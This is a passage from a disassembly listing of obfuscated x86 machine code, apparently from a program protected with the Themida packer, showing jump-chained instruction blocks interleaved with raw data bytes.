		xor	ch, 5Ch
		add	ch, 72h
		jmp	loc_56CEB9
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8324148Bh, 0FEE904C4h
		db 21h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D87B:				; CODE XREF: Themida_:00566CDBj
		pop	esp
		mov	[esp], esi
		push	1830h
		mov	[esp], edi
		mov	edi, 34EF3829h
		and	edi, 5F095Ch
		xor	edi, 6F0F706Bh
		xor	edi, 44F5418Ah
		inc	edi
		push	edx
		mov	edx, 118C4A9Dh
		add	edx, 15C35B2h
		push	ecx
		push	eax
		mov	eax, 3D883419h
		jmp	loc_55F9D7
; ---------------------------------------------------------------------------
		db 66h
		dd 83240C8Bh, 1C8904ECh, 68216824h, 0C890000h, 0E9595424h
		dd 0FFFF3333h, 4BD55h, 0E8010000h, 365C685Dh, 1C890000h
		dd 4BB24h, 0F3E90000h, 87FFFF14h, 515C2414h, 0C181E189h
		dd 4, 8704E983h, 0E95C240Ch, 556h
; ---------------------------------------------------------------------------


loc_56D904:				; CODE XREF: Themida_:00565C8Dj
		pop	esp
		xor	al, bh
		jmp	loc_570072
; ---------------------------------------------------------------------------


loc_56D90C:				; CODE XREF: Themida_:0056E1A3j
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_55DA64
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 3Dh
		dd 811E055Bh, 5B0FB5C3h, 68C7E91Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D926:				; CODE XREF: Themida_:0055E4F3j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ecx
		push	esi
		mov	esi, 0CB40DC4h
		sub	esi, 7F066583h
		or	esi, 294F1647h
		add	esi, 7DB3462Eh
		sub	esi, 0EC629DB2h
		jmp	loc_56B458
; ---------------------------------------------------------------------------
		dd 31240433h, 4332404h,	24248B24h, 9C2404D3h, 0FEDBE4E9h
		dd 241433FFh, 33241431h, 0D2E92414h, 66FFFF3Ah,	66019CBFh
		dd 3C6C781h, 0E9F93166h, 0FFFEFBBCh
; ---------------------------------------------------------------------------


loc_56D990:				; CODE XREF: Themida_:0055D279j
		pop	eax
		jmp	loc_55D019
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 8324048Bh, 7F6804C4h, 89000074h, 0E389241Ch
		dd 4C381h, 24E90000h, 83000013h, 0F28904C4h, 0EC815F5Eh
		dd 4, 89243489h, 5EF189D6h, 5A2434FFh, 3104C483h, 31CA31D1h
		dd 87D2F7D1h, 96E956D1h, 81FFFF16h, 4C4h, 0FFDF2900h, 1C8B2434h
		dd 4C48324h, 17C6E950h,	34890000h, 314BE24h, 0E4E93A39h
		dd 81FFFFD4h, 0C9A926F7h, 93C181A7h, 0E9275F08h, 0FFFFD46Fh
		dd 6E38E981h, 0F9010F81h, 6E38C181h, 59E90F81h
		db 3Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DA2B:				; CODE XREF: Themida_:005602E7j
		mov	ecx, 6A751B7Bh
		jmp	loc_5678FF
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0FEh
		dd 0E97FFF6Eh, 1AE8h, 0A0E9E909h, 87FFFFCCh, 0E8E9243Ch
		dd 0B6FFFF61h, 5AF300FFh, 0B9C380h, 0EC815BD8h,	2, 240C8966h
		dd 68E7B050h, 6ABAh, 88241C89h,	5BDD88C3h, 6ECEE958h, 1489FFFFh
		dd 2BDEBA24h, 0F2817EA0h, 384C7320h, 7320F281h,	0D5892D13h
		dd 87BE565Ah, 5565396Eh, 0FFB797E9h, 0BF575DFFh, 42563057h
		dd 0F781DFF7h, 257934B0h, 4F04E7C1h, 0C116C781h, 58E9D058h
		dd 89FFFF9Bh, 0D3B0E9E1h, 8EE9FFFFh, 0FFFFFEDAh, 1C8B2434h
		dd 0E7895724h, 4C781h, 0BA520000h, 2EA17652h, 0CB8CA81h
		dd 0D2F75A27h, 0FFFA82E9h, 4BFFFh, 0FE010000h, 2434335Fh
		dd 2387E9h
		db 0
; ---------------------------------------------------------------------------


loc_56DAF9:				; CODE XREF: Themida_:00568DA1j
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_56C117
; ---------------------------------------------------------------------------
		db 51h
		dd 4B9h, 59CD2900h, 8B242C87h, 24892424h, 24048324h, 243C8B04h
		dd 4C481h, 0B9510000h, 1A8A794Ch, 38B3F181h, 0D1F74912h
		dd 5FFEE181h, 0E98173CCh, 721929CEh, 0F42EE981h, 0CF01AE2Ah
		dd 4EF8359h, 5C243C87h,	0E9243489h, 0FFFF8EA5h,	6C01F581h
		dd 0E9211AEFh, 0FFAF18E9h, 4C483FFh, 0F033E953h, 0EB81FFFEh
		dd 652C4F4Fh, 835BD901h, 0C8704C1h, 24248B24h, 4EC8357h
		dd 68242C89h, 6E785ED9h, 75E9575Dh, 89FFFFE9h, 4C181E1h
		dd 57000000h, 4BFh, 26CAE900h, 0E9010000h, 240C335Dh, 0E9240C31h
		dd 0FFFF3626h, 5D2414F7h, 5E9DDF7h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DBBF:				; CODE XREF: Themida_:00560825j
		xor	eax, edx
		pop	edx
		push	eax
		push	3274h
		mov	[esp], edx
		push	edi
		mov	edi, 6697017Ch
		mov	edx, 4F3B0E5Eh
		xor	edx, edi
		pop	edi
		xor	[esp+4], edx
		jmp	loc_56589C
; ---------------------------------------------------------------------------
		dw 76BDh
		dd 0E960D729h, 0FFFFA3E9h, 240C8B53h, 5B04C483h, 114BE981h
		dd 0E9813D01h, 11E6862h, 16E9F901h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DC07:				; CODE XREF: Themida_:00567C40j
		pop	esi
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_5617D5
; ---------------------------------------------------------------------------


loc_56DC1C:				; CODE XREF: Themida_:005671A0j
		sub	ebp, esi
		pop	esi
		sub	ebp, 7BB66430h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	52BEh
		jmp	loc_55FA97
; ---------------------------------------------------------------------------


loc_56DC36:				; CODE XREF: Themida_:005658CFj
		inc	eax
		xor	eax, 70102DBCh
		add	ecx, eax
		jmp	loc_5701A2
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0BE243489h, 7595323Ah, 0FFF60AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DC51:				; CODE XREF: Themida_:00568DD0j
		mov	esp, [esp]
		push	eax
		mov	eax, 24h
		add	eax, 1B6C57FDh
		add	eax, 39333BE3h
		sub	eax, 541C47B5h
		add	eax, edi
		jmp	loc_55BF2E
; ---------------------------------------------------------------------------
		dd 582434FFh, 0FFA6B0E9h, 4EC83FFh, 52242489h, 0FEDF36E9h
		dd 0BB5358FFh, 4, 995F5A05h, 2DD8011Dh,	1D995F5Ah, 34BB535Bh
		dd 0E9263A45h, 0FFFFC574h, 0E924048Fh, 25D8h
; ---------------------------------------------------------------------------


loc_56DCAC:				; CODE XREF: Themida_:00561F26j
		pop	edi
		add	edi, ecx
		pop	ecx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	edx
		mov	edx, 6EB12316h
		xor	ecx, edx
		mov	edx, [esp]
		jmp	loc_567EBE
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 241C8904h, 4B850h, 0C3890000h, 245C0158h, 58E95B04h
		dd 81FFFFBEh, 6B3BDBF3h, 82F3814Eh, 8162316Bh, 846A7FEAh
		dd 50DA2937h, 6528B3B8h, 0F71E907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56DD02:				; CODE XREF: Themida_:0056F8A4j
		pop	esp
		mov	[esp], edi
		jmp	loc_56744A
; ---------------------------------------------------------------------------
		db 53h
		dd 0F26C35BBh, 72A9E973h, 8B66FFFFh, 0EC832404h, 241C8904h
		dd 2434FF54h, 3894E95Bh, 0C581FFFFh, 5F3BE59Ch,	0FF6993E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DD35:				; CODE XREF: Themida_:005698F3j
		mov	edi, ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_560E1B
; ---------------------------------------------------------------------------
		dw 1433h
		dd 24248B24h, 0FFE20CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DD4D:				; CODE XREF: Themida_:0055D33Cj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], bx
		push	ecx
		jmp	loc_55D111
; ---------------------------------------------------------------------------
		db 66h,	0BEh, 0E2h
		dd 3075E90Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DD66:				; CODE XREF: Themida_:0055BA3Dj
		add	ecx, 4
		jmp	loc_56DF9F
; ---------------------------------------------------------------------------
aVichzn		db 'V‰æhzn',0
		dd 3394E900h, 2C33FFFFh, 242C3124h, 2C87D5F7h, 24048B24h
		dd 0FFEEC4E9h, 508768FFh, 0A7E90000h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DD9B:				; CODE XREF: Themida_:00564E91j
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_570637
; ---------------------------------------------------------------------------


loc_56DDAE:				; CODE XREF: Themida_:0056C15Aj
		mov	edi, 4
		sub	ebp, edi
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		push	485Bh
		mov	[esp], edx
		jmp	loc_565485
; ---------------------------------------------------------------------------
		dw 0EE80h
		dd 5AF588EAh, 0E36E9h, 241C8B00h, 0E904C483h, 0FFFFDD8Fh
; ---------------------------------------------------------------------------


loc_56DDE8:				; CODE XREF: Themida_:0055BEA1j
		push	49F0h
		jmp	loc_560B58
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 1E35E924h, 24890000h, 4BD5524h, 1000000h, 5D04246Ch
		dd 0FFCA6DE9h, 5BD831FFh, 424D242Dh, 0C6BB533Bh, 0E9A61751h
		dd 0FFFFD26Dh, 5004C483h, 0C289F089h, 0B66E958h, 34890000h
		dd 546AE924h, 14F7FFFFh, 0EC835924h, 242C8904h,	5A5005BDh
		dd 418EE92Bh, 575CFFFFh, 49B26853h, 34FF2E1Ah, 0C2CE924h
		dd 3C89FFFFh, 0FE685024h, 0E977EB3Ah, 0FFFF73B6h, 0C3E9D388h
		dd 89FFFF46h, 0C0BB241Ch, 143534Ah, 0EA815BDAh,	1F9C607Bh
		dd 0C281C201h, 1F9C607Bh, 4C3868h, 9D7E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DE92:				; CODE XREF: Themida_:00560E4Ej
		pop	esi
		xor	[esp+4], ebp
		pop	ebp
		jmp	loc_55E4EF
; ---------------------------------------------------------------------------
		db 58h,	53h, 0BBh
		dd 5B511930h, 0FEDF78E9h, 3014B0FFh, 0F80BE9C1h, 1489FFFEh
		dd 190CBA24h, 0BD5542E3h, 17D44919h, 718FE581h,	0B9513E8Fh
		dd 5C60728Ah, 0FF117DE9h, 2434FFFFh, 0FF096BE9h, 0D1F759FFh
		dd 16C6E981h, 0F1814E97h, 2A7B9E4Eh, 0C8BCE89h,	4C48324h
		dd 0FF31C2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DEF5:				; CODE XREF: Themida_:0056B4A0j
		not	esi
		jmp	loc_5654A4
; ---------------------------------------------------------------------------


loc_56DEFC:				; CODE XREF: Themida_:0055EA39j
		push	ecx
		mov	ecx, 4DEB7E45h
		jmp	loc_564E10
; ---------------------------------------------------------------------------
		db 0FEh
		dd 2AC180C9h, 0C059CE08h, 0EE8004EEh, 80CEFEFAh, 0C6801DCEh
		dd 5AF0000Ah, 0BC5E9h
		db 0
; ---------------------------------------------------------------------------


loc_56DF25:				; CODE XREF: Themida_:0055EDB4j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55D3E8
; ---------------------------------------------------------------------------
		db 83h
		dd 9BE904C7h, 0FFFFFFF4h, 148B2434h, 13D8E924h,	0EB810000h
		dd 51396111h, 0ACB7F381h, 8051A01h, 1395C7Ch, 9BCFE9D8h
		dd 0EE81FFFFh, 72D12216h, 552CF681h, 0EE8145D4h, 0B11B8DCBh
		dd 0FFA810E9h, 1BE95FFFh
		db 0E6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56DF7B:				; CODE XREF: Themida_:0056398Aj
		add	edx, ecx
		pop	ecx
		sub	edx, edi
		sub	edx, 59677425h
		pop	edi
		push	eax
		jmp	loc_55E6FA
; ---------------------------------------------------------------------------
		db 0B9h, 0A6h, 29h
		dd 0ADE923ACh, 8BFFFF53h, 77E92424h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DF9F:				; CODE XREF: Themida_:0056DD6Cj
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	dword ptr [esp+4], 17E32005h
		add	dword ptr [esp+4], 524E492Dh
		add	[esp+4], ebx
		jmp	loc_55EFFA
; ---------------------------------------------------------------------------
		db 81h,	0CDh, 42h
		dd 0C15CFF6Dh, 0ED8103EDh, 0FBFEFE8h, 24348155h, 3C2D1F93h
		dd 51E9505Ah
		db 3Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DFDF:				; CODE XREF: Themida_:0055DD82j
		add	esp, 4
		push	ebx
		jmp	loc_56C714
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9042474h, 0FFFED90Ch, 47BCED81h, 0EF891C2Fh, 0A1EF815Dh
		dd 0C151F12Ah, 0C7E903EFh, 0C1FFFF47h, 0F28108E2h, 60361EA5h
		dd 0A8A7BB53h, 0DA31BBB7h, 0E9D5015Bh, 0FFFF7001h, 0F781D7F7h
		dd 5B7356EBh, 3C8BFB01h, 4EC8324h, 7DAE9h, 0E9505F00h
		dd 0FFFF8AF0h, 57240C89h, 4F2FB3BFh, 66B6E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E04E:				; CODE XREF: Themida_:0056E228j
		mov	[esp], ebx
		jmp	loc_56A1C0
; ---------------------------------------------------------------------------
		dw 6851h
		dd 299935BCh, 8BCE0159h, 41E9240Ch, 58FFFF64h, 0E95AD121h
		dd 0FFFFDC36h, 25CBE95Dh, 8143FFFFh, 0C1D08AEBh, 1FF3B9CBh
		dd 0DEE90CBAh, 57FFFEF3h, 4BFh,	5FF80100h, 5C240487h, 0C8BC831h
		dd 0E3895324h, 4C381h, 0EB810000h, 4, 0FFA257E9h, 0FE0159FFh
		dd 0F4C6815Fh, 813C5045h, 3065F4EEh, 81CE2978h,	3065F4C6h
		dd 0F4EE8178h, 523C5045h, 0A24AE3BAh, 0EEA8157h, 2906FC17h
		dd 24148BD6h, 81E38953h, 4C3h, 4C38300h, 5C241C87h, 0A1DBE959h
		dd 0E951FFFFh, 0FFFFEFE2h
; ---------------------------------------------------------------------------


loc_56E0F8:				; CODE XREF: Themida_:00567B21j
		xor	ebp, 74C08524h
		mov	ecx, ebp
		jmp	loc_564D9C
; ---------------------------------------------------------------------------


loc_56E105:				; CODE XREF: Themida_:00570487j
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56E75E
; ---------------------------------------------------------------------------
aS_6		db ')Ïé;',0
		db 2 dup(0), 0F7h
		dd 2E1C1D1h, 0FF4AB9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E129:				; CODE XREF: Themida_:00566909j
		shr	bl, 6
		push	ecx
		jmp	loc_56F539
; ---------------------------------------------------------------------------
		dw 8156h
		dd 4ECh, 24248900h, 4240483h, 4C6815Eh,	81000000h, 4C6h
		dd 24348700h, 0FF30EDE9h, 0D3FBE9FFh, 0C8BFFFEh, 0E3895324h
		dd 4C381h, 0BF570000h, 4, 875FFB01h, 0F0E9241Ch, 81FFFFB8h
		dd 8E24C8EAh, 9EE95B33h
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E183:				; CODE XREF: Themida_:005621F0j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_560962
; ---------------------------------------------------------------------------


loc_56E190:				; CODE XREF: Themida_:00565A87j
		mov	[esp], ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_56D90C
; ---------------------------------------------------------------------------


loc_56E1A8:				; CODE XREF: Themida_:00562A93j
		mov	ebp, 318F2D15h
		add	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_568EBA
; ---------------------------------------------------------------------------
		dd 0E958E100h, 0FFFF913Eh, 2454F653h, 0FDC7E901h, 4A68FFFEh
		dd 89000070h, 0E9542414h, 0FFFFDAB0h
; ---------------------------------------------------------------------------


loc_56E1D8:				; CODE XREF: Themida_:0056D3A7j
		pop	edx
		jmp	loc_563788
; ---------------------------------------------------------------------------
		dw 405h
		dd 68000000h, 5C03h, 0E9240C89h, 142Fh
; ---------------------------------------------------------------------------


loc_56E1F0:				; CODE XREF: Themida_:0056381Aj
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_570601
; ---------------------------------------------------------------------------


loc_56E1FA:				; CODE XREF: Themida_:0055F496j
		mov	[esp], ecx
		jmp	loc_565CFA
; ---------------------------------------------------------------------------


loc_56E202:				; CODE XREF: Themida_:0055E210j
		add	esp, 4
		jmp	loc_56F13C
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 4C781h, 0EF810000h, 4, 8B243C87h, 40E92424h
		db 16h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E227:				; CODE XREF: Themida_:0055FFBCj
		pop	esp
		jmp	loc_56E04E
; ---------------------------------------------------------------------------
		db 5Eh,	8Bh, 4
		dd 4C48324h, 0FF0250E9h, 0FBEB81FFh, 2900C938h,	0FBC381D3h
		dd 8100C938h, 786AC7C3h, 3783E94Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E252:				; CODE XREF: Themida_:00569D95j
		mov	edx, eax
		pop	eax
		jmp	loc_56C820
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835D24h, 27F66804h, 57E90000h
		db 0E3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56E26B:				; CODE XREF: Themida_:0056AA2Cj
		add	ch, al
		pop	eax
		add	bl, 92h
		add	bl, ch
		sub	bl, 92h
		pop	ecx
		jmp	loc_5601FA
; ---------------------------------------------------------------------------
		dd 68665557h, 8B666CC6h, 0C483242Ch, 0C5816602h, 0B8E977FDh
		dd 68FFFFC6h, 14F6h, 81242489h,	42404h,	348B0000h, 4217E924h
		dd 0E955FFFFh, 0FFFF8CE9h, 0E9243487h, 0FFFF882Fh, 296FBA52h
		dd 814A4814h, 714275F2h, 81DAF779h, 3AE798EAh, 0E9D331C7h
		dd 0FFFEF6CCh, 240C8B5Fh, 0FF06C5E9h, 4EA83FFh,	0E9241487h
		dd 0FFFEE5AFh
; ---------------------------------------------------------------------------


loc_56E2E8:				; CODE XREF: Themida_:005689EBj
		pop	edx
		jmp	loc_56B382
; ---------------------------------------------------------------------------


loc_56E2EE:				; CODE XREF: Themida_:0055DCA8j
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_56608A
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240481h, 59000000h,	4EC81h,	95E90000h, 0B9FFFFBDh
		dd 52B423E1h, 0C181D9F7h, 0F3820D41h, 0FF245FE9h, 2C381FFh
		dd 583FC873h, 0C381C301h, 427F22A3h, 0F1B85058h, 0C120CD16h
		dd 0E32D07E0h, 2D30CA4Ah, 2BCA2846h, 508E8C1h, 34A2308Ah
		dd 0AC278D2Dh, 0E9C30134h, 0FFFFBC14h
; ---------------------------------------------------------------------------


loc_56E358:				; CODE XREF: Themida_:0055D638j
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 614B4E19h
		xor	ecx, 50A651A1h
		xor	ecx, 65964E6Bh
		push	edx
		mov	edx, 547B51D7h
		xor	ecx, edx
		pop	edx
		add	edx, ecx
		jmp	loc_56353B
; ---------------------------------------------------------------------------


loc_56E383:				; CODE XREF: Themida_:0056483Bj
		and	eax, 66B506F0h
		add	eax, 0F15E5F0Bh
		jmp	loc_55F96B
; ---------------------------------------------------------------------------
		dw 8F54h
		dd 0E682404h, 89000061h, 4BA2414h, 0E9000000h, 0FFFEE181h
		dd 0CFB8505Fh, 0C1688478h, 0C14007E0h, 4DE903E0h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E3BB:				; CODE XREF: Themida_:00568055j
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	49D5h
		jmp	loc_56F4F4
; ---------------------------------------------------------------------------
		dd 0B353C1FEh, 8BD9281Fh, 0C483241Ch, 0B1F3E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E3DE:				; CODE XREF: Themida_:0055FB17j
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_569A02
; ---------------------------------------------------------------------------
		db 81h
		dd 0DE3E2EC6h, 0E9F221DFh, 0FFFF3863h
; ---------------------------------------------------------------------------


loc_56E408:				; CODE XREF: Themida_:005642D3j
		add	esp, 4
		push	esi
		mov	esi, 4D076916h
		and	esi, 3C4313DBh
		push	1716h
		mov	[esp], ebp
		push	ecx
		mov	ecx, 1BE66BCAh
		mov	ebp, ecx
		pop	ecx
		not	ebp
		inc	ebp
		jmp	loc_56420C
; ---------------------------------------------------------------------------
		db 81h
		dd 0EA4345CFh, 0EA41E965h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E43E:				; CODE XREF: Themida_:0056A80Ej
		push	6E7Eh
		jmp	loc_55C1C6
; ---------------------------------------------------------------------------
		dd 0FA5BE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E44E:				; CODE XREF: Themida_:00565111j
		push	230Dh
		jmp	loc_567B05
; ---------------------------------------------------------------------------


loc_56E458:				; CODE XREF: Themida_:00566D23j
		add	ecx, 4
		push	ebp
		push	1874h
		mov	[esp], ebx
		mov	ebx, 509941D1h
		neg	ebx
		shr	ebx, 4
		not	ebx
		push	eax
		mov	eax, 0F5099419h
		xor	ebx, eax
		pop	eax
		mov	ebp, ebx
		jmp	loc_55D7E0
; ---------------------------------------------------------------------------
		db 55h
		dd 7D162FBDh, 0AFCD8165h, 0C1050A1Fh, 0D5F704E5h, 0EDF58145h
		dd 14D2754h, 0D1295DEAh, 0FFCB9AE9h, 0E9028FFFh, 0FFFED0A9h
		dd 0E3D2E949h, 815FFFFFh, 4C7h,	86A6800h, 2C890000h, 76F0BD24h
		dd 6AE96E65h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E4CB:				; CODE XREF: Themida_:0055B5A0j
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_56A037
; ---------------------------------------------------------------------------
		dw 4481h
		dd 75600424h, 2AE967F6h, 5FFFF8Ah, 40891FE3h, 0BF57C801h
		dd 40891FE3h, 0FF5FF829h, 0C8B2434h, 4C48324h, 5E08950h
		dd 4, 0FEF47EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E50D:				; CODE XREF: Themida_:0055E9C1j
		and	edx, 7D1F0FA8h
		inc	edx
		xor	edx, 6A256573h
		mov	eax, edx
		jmp	loc_56AAE8
; ---------------------------------------------------------------------------
		db 0F6h, 14h, 24h
		dd 0FF15A3E9h, 24248BFFh, 0D023E9C3h, 8B66FFFEh, 54532404h
		dd 0FF1180E9h, 241C89FFh, 2434FF54h, 81241C8Bh,	4C4h, 0E1895100h
		dd 0FF17CAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E555:				; CODE XREF: Themida_:0055D9E0j
		push	esp
		pop	dword ptr [esp]
		jmp	loc_56593C
; ---------------------------------------------------------------------------


loc_56E55E:				; CODE XREF: Themida_:005655A2j
		push	ebx
		push	1A84h
		mov	[esp], edi
		jmp	loc_56CAD8
; ---------------------------------------------------------------------------
		dd 0E689565Ah, 0FF32DBE9h, 3FE380FFh, 2404FE53h, 0FF4D6DE9h
		dd 8BF929FFh, 0C483243Ch, 81F90104h, 697CA1C1h,	243C8B34h
		dd 0E9E38953h, 0FFFF97BAh, 5024248Bh, 405E089h,	57000000h
		dd 0FFC670E9h, 83C381FFh, 0E90A3E2Ah, 0FFFFA56Bh, 0C381E389h
		dd 4, 4EB81h, 1C870000h, 2C895C24h, 68515624h, 575C631Fh
		dd 55515759h, 0FFC9E6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E5DD:				; CODE XREF: Themida_:005623EDj
		add	eax, 7A3551EBh
		mov	ecx, [esp]
		add	esp, 4
		inc	eax
		inc	eax
		add	eax, 458737EBh
		jmp	loc_5697F5
; ---------------------------------------------------------------------------
		dd 80C5E380h, 0D8B699EBh, 0FEE4BDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E601:				; CODE XREF: Themida_:0056A363j
		push	edi
		mov	edi, esp
		jmp	loc_56F895
; ---------------------------------------------------------------------------


loc_56E609:				; CODE XREF: Themida_:0055EF03j
		pop	ebx
		push	ecx
		jmp	loc_5673DF
; ---------------------------------------------------------------------------
		dd 0C8BC800h, 4C48124h,	80000000h, 0C30023EBh, 0FF9600E9h
		dd 0E8BA52FFh, 8149636Dh, 541AE2C2h, 8EC28175h,	89C09FA2h
		dd 0A1E95AD6h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56E63F:				; CODE XREF: Themida_:00560E08j
		mov	esp, [esp]
		shl	eax, cl
		xor	eax, esi
		jmp	loc_569801
; ---------------------------------------------------------------------------
		db 5Fh
		dd 2DE7EE81h, 0D6017B56h, 2B6CBD55h, 0DDF747B2h, 0ED81D5F7h
		dd 95B66ECh, 6E2ACD81h,	0E5D15D75h, 0FFF13EE9h,	2BF581FFh
		dd 0E9169E58h, 38Fh, 0FB895B58h, 0E0E9815Fh, 81534D46h
		dd 0CF4D13E9h, 81D90147h, 0CF4D13C1h, 0C0E95547h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E69B:				; CODE XREF: Themida_:0056AEC4j
		pop	esi
		mov	ebp, eax
		pop	eax
		push	ebp
		add	dword ptr [esp], 69436D7Ch
		pop	edi
		sub	edi, 69436D7Ch
		pop	ebp
		jmp	loc_567CB0
; ---------------------------------------------------------------------------


loc_56E6B4:				; CODE XREF: Themida_:0056698Aj
		add	al, 98h
		add	al, dl
		sub	al, 98h
		pop	edx
		jmp	loc_56860C
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 0F28904C4h, 2454015Eh, 4015A04h, 4EC8124h
		dd 89000000h, 0ACE9242Ch
		db 6Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E6DF:				; CODE XREF: Themida_:005607CEj
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	eax
		jmp	loc_55FE3C
; ---------------------------------------------------------------------------
		db 0BDh
		dd 14BA6558h, 4EDC145h,	0E9E5D145h, 0FFFFC542h
; ---------------------------------------------------------------------------


loc_56E6FC:				; CODE XREF: Themida_:00561402j
		pop	edi
		add	edi, ebx
		pop	ebx
		push	6E3Bh
		jmp	loc_55C51C
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 556CBE56h, 0F7462086h, 0FC4FE9DEh, 48BFFFEh,	4C48324h
		dd 0FEDC7BE9h, 0D7F781FFh, 8178140Ah, 331F3CC5h, 81FD015Eh
		dd 331F3CEDh, 2434FF5Eh, 0B682E95Fh, 0E8C1FFFFh, 67000505h
		dd 0E0C10FCFh, 6FDBE903h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E752:				; CODE XREF: Themida_:0055C4ACj
		pop	edx
		push	ecx
		mov	ecx, 45830FA2h
		jmp	loc_56B335
; ---------------------------------------------------------------------------


loc_56E75E:				; CODE XREF: Themida_:0056E113j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55DCAD
; ---------------------------------------------------------------------------
		dd 0C159C889h, 0A3E904E0h
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E777:				; CODE XREF: Themida_:00565FF7j
		pop	edx
		xchg	edi, [esp]
		pop	esp
		sub	[esp], eax
		push	1CBFh
		mov	[esp], esi
		push	ebx
		push	570E0557h
		pop	ebx
		jmp	loc_55DBD4
; ---------------------------------------------------------------------------


loc_56E793:				; CODE XREF: Themida_:0055F895j
		not	ecx
		xchg	ecx, edi
		push	edx
		jmp	loc_565A67
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 24h
		dd 0E97CC70Dh, 0FFFF2082h, 240C8B66h, 0E9E18951h, 0FFFF7729h
		dd 611B6866h, 240C8966h, 0FECD94E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E7C1:				; CODE XREF: Themida_:0056569Ej
		add	al, 7Ch
		sub	al, bh
		sub	al, 7Ch
		pop	bx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_55CAB3
; ---------------------------------------------------------------------------
		dd 8704C383h, 555C241Ch, 0FFEC46E9h, 8000B4FFh,	8F683AC4h
